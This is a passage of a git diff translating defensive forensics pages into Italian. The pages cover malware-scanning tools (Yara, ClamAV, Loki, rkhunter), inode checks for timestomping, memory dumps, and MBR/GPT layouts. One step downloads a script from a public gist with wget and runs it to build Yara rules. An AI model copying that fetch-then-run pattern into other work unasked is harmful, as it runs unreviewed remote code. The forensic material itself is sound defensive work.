collocati insieme. +- **Controllare le directory binarie comuni** (_/bin_, _/sbin_) per file recentemente modificati, poiché questi potrebbero essere stati alterati da malware. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Nota che un **attaccante** può **modificare** il **tempo** per far **apparire** i **file** **legittimi**, ma non può **modificare** l'**inode**. Se scopri che un **file** indica che è stato creato e modificato allo **stesso tempo** degli altri file nella stessa cartella, ma l'**inode** è **inaspettatamente più grande**, allora i **timestamp di quel file sono stati modificati**. -## Compare files of different filesystem versions +## Confronta file di diverse versioni del filesystem -### Filesystem Version Comparison Summary +### Riepilogo del confronto delle versioni del filesystem -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Per confrontare le versioni del filesystem e individuare le modifiche, utilizziamo comandi `git diff` semplificati: +- **Per trovare nuovi file**, confronta due directory: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Per il contenuto modificato**, elenca le modifiche ignorando righe specifiche: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Per rilevare file eliminati**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Le opzioni di filtro** (`--diff-filter`) aiutano a restringere a modifiche specifiche come file aggiunti (`A`), eliminati (`D`) o modificati (`M`). +- `A`: File aggiunti +- `C`: File copiati +- `D`: File eliminati +- `M`: File modificati +- `R`: File rinominati +- `T`: Cambiamenti di tipo (ad es., file a symlink) +- `U`: File non uniti +- `X`: File sconosciuti +- `B`: File danneggiati -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Riferimenti - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md index c7edd6650..bf334afb4 100644 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ b/src/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Analisi del Malware {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## CheatSheets di Forensics [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Servizi Online - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Strumenti Antivirus e di Rilevamento Offline ### Yara -#### Install - +#### Installa ```bash sudo apt-get install -y yara ``` +#### Preparare le regole -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Usa questo script per scaricare e unire tutte le regole yara per malware da github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Crea la directory _**rules**_ ed eseguila. Questo creerà un file chiamato _**malware_rules.yar**_ che contiene tutte le regole yara per malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Scansione ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Controlla la presenza di malware e crea regole -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Puoi utilizzare lo strumento [**YaraGen**](https://github.com/Neo23x0/yarGen) per generare regole yara da un binario. Dai un'occhiata a questi tutorial: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Installa ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Scansione ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** rileva potenziali **capacità** dannose negli eseguibili: PE, ELF, .NET. Quindi troverà cose come le tattiche Att\&ck, o capacità sospette come: -- check for OutputDebugString error -- run as a service -- create process +- controlla l'errore OutputDebugString +- esegui come servizio +- crea processo -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Ottienilo nel [**Github repo**](https://github.com/mandiant/capa). ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC significa Indicatore di Compromissione. Un IOC è un insieme di **condizioni che identificano** alcuni software potenzialmente indesiderati o **malware** confermati. I Blue Teams utilizzano questo tipo di definizione per **cercare questo tipo di file dannosi** nei loro **sistemi** e **reti**.\ +Condividere queste definizioni è molto utile poiché quando il malware viene identificato in un computer e viene creato un IOC per quel malware, altri Blue Teams possono usarlo per identificare il malware più rapidamente. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Uno strumento per creare o modificare IOCs è [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Puoi utilizzare strumenti come [**Redline**](https://www.fireeye.com/services/freeware/redline.html) per **cercare IOCs definiti in un dispositivo**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) è uno scanner per Indicatori di Compromissione Semplici.\ +La rilevazione si basa su quattro metodi di rilevamento: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) è uno scanner di malware per Linux rilasciato sotto la licenza GNU GPLv2, progettato attorno alle minacce affrontate negli ambienti di hosting condivisi. Utilizza dati sulle minacce provenienti dai sistemi di rilevamento delle intrusioni ai margini della rete per estrarre malware che viene attivamente utilizzato negli attacchi e genera firme per la rilevazione. Inoltre, i dati sulle minacce sono anche derivati dalle segnalazioni degli utenti con la funzione di checkout LMD e dalle risorse della comunità malware. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Strumenti come [**rkhunter**](http://rkhunter.sourceforge.net) possono essere utilizzati per controllare il filesystem per possibili **rootkit** e malware. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) è uno strumento che cercherà di trovare stringhe offuscate all'interno di eseguibili utilizzando diverse tecniche. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper) controlla alcune informazioni di base all'interno dell'eseguibile (dati binari, entropia, URL e IP, alcune regole yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) è uno strumento che consente di ottenere informazioni sugli eseguibili di Windows come importazioni, esportazioni, intestazioni, ma controllerà anche virus total e troverà potenziali tecniche Att\&ck. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) è uno strumento per rilevare se un file è **crittografato** e anche per trovare **packers**. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) è uno script Python che utilizza una varietà di **metodi statistici** per rilevare contenuti **offuscati** e **crittografati** all'interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella **rilevazione di codice web shell nascosto**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fa del suo meglio per rilevare **codice offuscato**/**sospetto** così come file che utilizzano funzioni **PHP** spesso usate in **malware**/webshell. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Quando controlli alcuni **campioni di malware** dovresti sempre **controllare la firma** del binario poiché il **sviluppatore** che l'ha firmato potrebbe essere già **relato** a **malware.** ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` - -## Detection Techniques +## Tecniche di Rilevamento ### File Stacking -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +Se sai che una cartella contenente i **file** di un server web è stata **aggiornata l'ultima volta in una certa data**. **Controlla** la **data** in cui tutti i **file** nel **server web sono stati creati e modificati** e se qualche data è **sospetta**, controlla quel file. ### Baselines -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +Se i file di una cartella **non avrebbero dovuto essere modificati**, puoi calcolare l'**hash** dei **file originali** della cartella e **confrontarli** con quelli **correnti**. Qualsiasi modifica sarà **sospetta**. -### Statistical Analysis +### Analisi Statistica -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Quando le informazioni sono salvate nei log puoi **controllare statistiche come quante volte ogni file di un server web è stato accesso poiché una web shell potrebbe essere una delle più**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 0d48e3bc2..4c6be4e41 100644 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Analisi del dump di memoria {{#include ../../../banners/hacktricks-training.md}} -
+## Inizio -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Inizia a **cercare** **malware** all'interno del pcap. Usa gli **strumenti** menzionati in [**Analisi del Malware**](../malware-analysis.md). ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility è il principale framework open-source per l'analisi dei dump di memoria**. Questo strumento Python analizza i dump provenienti da fonti esterne o VM VMware, identificando dati come processi e password in base al profilo OS del dump. È estensibile con plugin, rendendolo altamente versatile per le indagini forensi. -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[Trova qui un cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## Mini dump crash report +## Rapporto di crash mini dump -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Quando il dump è piccolo (solo alcuni KB, forse qualche MB) allora probabilmente si tratta di un rapporto di crash mini dump e non di un dump di memoria. ![](<../../../images/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Se hai Visual Studio installato, puoi aprire questo file e legare alcune informazioni di base come nome del processo, architettura, informazioni sull'eccezione e moduli in esecuzione: ![](<../../../images/image (217).png>) -You can also load the exception and see the decompiled instructions +Puoi anche caricare l'eccezione e vedere le istruzioni decompilate ![](<../../../images/image (219).png>) ![](<../../../images/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +Comunque, Visual Studio non è il miglior strumento per eseguire un'analisi approfondita del dump. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Dovresti **aprirlo** usando **IDA** o **Radare** per ispezionarlo in **profondità**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 02ab3ddf6..b05b62dd5 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# Partizioni/File Systems/Carving {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## Partizioni -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Un hard disk o un **SSD può contenere diverse partizioni** con l'obiettivo di separare fisicamente i dati.\ +L'unità **minima** di un disco è il **settore** (normalmente composto da 512B). Quindi, ogni dimensione della partizione deve essere un multiplo di quella dimensione. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +È allocato nel **primo settore del disco dopo i 446B del codice di avvio**. Questo settore è essenziale per indicare al PC cosa e da dove una partizione dovrebbe essere montata.\ +Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni, puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del boot record **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\ +MBR consente **max 2.2TB**. ![](<../../../images/image (489).png>) ![](<../../../images/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se viene utilizzato Windows). La lettera del disco logico dell'hard disk dipende dalla Windows Disk Signature. Cambiare questa firma potrebbe impedire a Windows di avviarsi (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (493).png>) -**Format** +**Formato** -| Offset | Length | Item | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| Offset | Lunghezza | Voce | +| ----------- | ----------- | ------------------- | +| 0 (0x00) | 446(0x1BE) | Codice di avvio | +| 446 (0x1BE) | 16 (0x10) | Prima Partizione | +| 462 (0x1CE) | 16 (0x10) | Seconda Partizione | +| 478 (0x1DE) | 16 (0x10) | Terza Partizione | +| 494 (0x1EE) | 16 (0x10) | Quarta Partizione | +| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | -**Partition Record Format** +**Formato del Record di Partizione** -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| Offset | Lunghezza | Voce | +| --------- | --------- | ------------------------------------------------------ | +| 0 (0x00) | 1 (0x01) | Flag attivo (0x80 = avviabile) | +| 1 (0x01) | 1 (0x01) | Testa di inizio | +| 2 (0x02) | 1 (0x01) | Settore di inizio (bit 0-5); bit superiori del cilindro (6- 7) | +| 3 (0x03) | 1 (0x01) | Cilindro di inizio 8 bit più bassi | +| 4 (0x04) | 1 (0x01) | Codice tipo partizione (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Testa di fine | +| 6 (0x06) | 1 (0x01) | Settore di fine (bit 0-5); bit superiori del cilindro (6- 7) | +| 7 (0x07) | 1 (0x01) | Cilindro di fine 8 bit più bassi | +| 8 (0x08) | 4 (0x04) | Settori precedenti la partizione (little endian) | +| 12 (0x0C) | 4 (0x04) | Settori nella partizione | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Per montare un MBR in Linux, devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +E poi usa il seguente codice ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` - **LBA (Logical block addressing)** -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +**Logical block addressing** (**LBA**) è uno schema comune utilizzato per **specificare la posizione dei blocchi** di dati memorizzati sui dispositivi di archiviazione del computer, generalmente sistemi di archiviazione secondaria come i dischi rigidi. LBA è uno schema di indirizzamento lineare particolarmente semplice; **i blocchi sono localizzati da un indice intero**, con il primo blocco che è LBA 0, il secondo LBA 1, e così via. ### GPT (GUID Partition Table) -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +La GUID Partition Table, nota come GPT, è preferita per le sue capacità avanzate rispetto a MBR (Master Boot Record). Distintiva per il suo **identificatore univoco globale** per le partizioni, GPT si distingue in diversi modi: -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +- **Posizione e Dimensione**: Sia GPT che MBR iniziano a **settore 0**. Tuttavia, GPT opera su **64 bit**, a differenza dei 32 bit di MBR. +- **Limiti delle Partizioni**: GPT supporta fino a **128 partizioni** sui sistemi Windows e può contenere fino a **9.4ZB** di dati. +- **Nomi delle Partizioni**: Offre la possibilità di nominare le partizioni con fino a 36 caratteri Unicode. -**Data Resilience and Recovery**: +**Resilienza e Recupero dei Dati**: -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +- **Ridondanza**: A differenza di MBR, GPT non limita la partizione e i dati di avvio a un solo luogo. Replica questi dati su tutto il disco, migliorando l'integrità e la resilienza dei dati. +- **Controllo di Ridondanza Ciclomato (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco. -**Protective MBR (LBA0)**: +**MBR Protettivo (LBA0)**: -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT mantiene la compatibilità retroattiva attraverso un MBR protettivo. Questa funzione risiede nello spazio MBR legacy ma è progettata per prevenire che le utilità basate su MBR più vecchie sovrascrivano erroneamente i dischi GPT, proteggendo così l'integrità dei dati sui dischi formattati GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**MBR Ibrido (LBA 0 + GPT)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +Nei sistemi operativi che supportano **l'avvio basato su GPT tramite i servizi BIOS** piuttosto che EFI, il primo settore può ancora essere utilizzato per memorizzare la prima fase del codice del **bootloader**, ma **modificato** per riconoscere le **partizioni GPT**. Il bootloader nell'MBR non deve assumere una dimensione del settore di 512 byte. -**Partition table header (LBA 1)** +**Intestazione della tabella delle partizioni (LBA 1)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +L'intestazione della tabella delle partizioni definisce i blocchi utilizzabili sul disco. Definisce anche il numero e la dimensione delle voci di partizione che compongono la tabella delle partizioni (offset 80 e 84 nella tabella). -| Offset | Length | Contents | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| Offset | Lunghezza | Contenuti | +| --------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8 byte | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)su macchine little-endian) | +| 8 (0x08) | 4 byte | Revisione 1.0 (00h 00h 01h 00h) per UEFI 2.8 | +| 12 (0x0C) | 4 byte | Dimensione dell'intestazione in little endian (in byte, di solito 5Ch 00h 00h 00h o 92 byte) | +| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) dell'intestazione (offset +0 fino alla dimensione dell'intestazione) in little endian, con questo campo azzerato durante il calcolo | +| 20 (0x14) | 4 byte | Riservato; deve essere zero | +| 24 (0x18) | 8 byte | LBA corrente (posizione di questa copia dell'intestazione) | +| 32 (0x20) | 8 byte | LBA di backup (posizione dell'altra copia dell'intestazione) | +| 40 (0x28) | 8 byte | Primo LBA utilizzabile per le partizioni (LBA dell'ultima tabella di partizione primaria + 1) | +| 48 (0x30) | 8 byte | Ultimo LBA utilizzabile (primo LBA della tabella di partizione secondaria − 1) | +| 56 (0x38) | 16 byte | GUID del disco in endian misto | +| 72 (0x48) | 8 byte | LBA iniziale di un array di voci di partizione (sempre 2 nella copia primaria) | +| 80 (0x50) | 4 byte | Numero di voci di partizione nell'array | +| 84 (0x54) | 4 